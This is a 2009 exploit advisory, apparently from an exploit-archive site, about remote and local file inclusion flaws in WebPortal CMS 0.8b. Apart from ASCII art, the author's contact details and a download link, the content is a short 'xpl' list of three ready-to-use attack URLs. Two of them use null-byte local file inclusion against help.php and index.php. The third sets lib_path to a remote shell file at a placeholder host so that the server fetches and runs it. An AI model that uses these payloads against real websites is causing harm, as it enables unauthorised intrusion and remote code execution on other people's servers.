[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : WebPortal CMS 0.8b Multiple Remote/Local File Inclusion Vulnerabilities
# Published : 2009-04-22
# Author : ahmadbady
# Previous Title : 5 star Rating 1.2 (Auth Bypass) SQL Injection Vulnerability
# Next Title : Joomla Component rsmonials Remote Cross Site Scripting Exploit


(  ' )-.          ,~'`-.
                                       ,~' `  ' ) )       _(   _) )
                                      ( ( .--.===.--.    (  `    ' )
                                       `.%%.      .#`.   `-'`~~=~'
                                       /%%/         ##
                                      |%%/  multi    ##|
                                      |%%|           |##|.,-.
                                      %%|  file     |##/    )_
                                       %           /#/ ( `'  )
                                        % include /#/(  ,  -'`-.
                                    ,~-. `%       /#'(  (     ') )
                                   (  ) )_ `__|__/'   `~-~=--~~='
                                  ( ` ')  ) [-=-=-]
                                 (_(_.~~~'   |_|/ 
                                             [***]
                              |||/
                              (o o) 
-=-=-=-==-=-=-=-=-=-=-=+-oooO--(_)-------+-=-=-=-=-=-=-   
                       |                 |    
                       |                 |                                      

script:webportal-0.8-beta
-------------------------------------------------
Author: ahmadbady 
email: kivi_hacker666@yahoo.com
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-====-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=--
download from:https://sites.google.com/site/ivanoculmine/Home/webportal-0.8-beta.zip?attredirects=0

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=--=-=--===-=--=-=-=
xpl:

http://127.0.0.1/path/webportal-0.8-beta/libraries/helpdocs/help.php?lang=[local file]%00

http://127.0.0.1/path/webportal-0.8-beta/indexk.php?lib_path=http://site.com/shell.txt?

http://127.0.0.1/path/webportal-0.8-beta/index.php?error=[local file]%00
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-


-=-=-=-=-=-=-=-=-=-=-=-+------------Ooo--+-=-=-=-=-=-=-=-=-=-=-          
                            |__|__|
                             || ||
                             OoO OoO

# www.Syue.com [2009-04-22]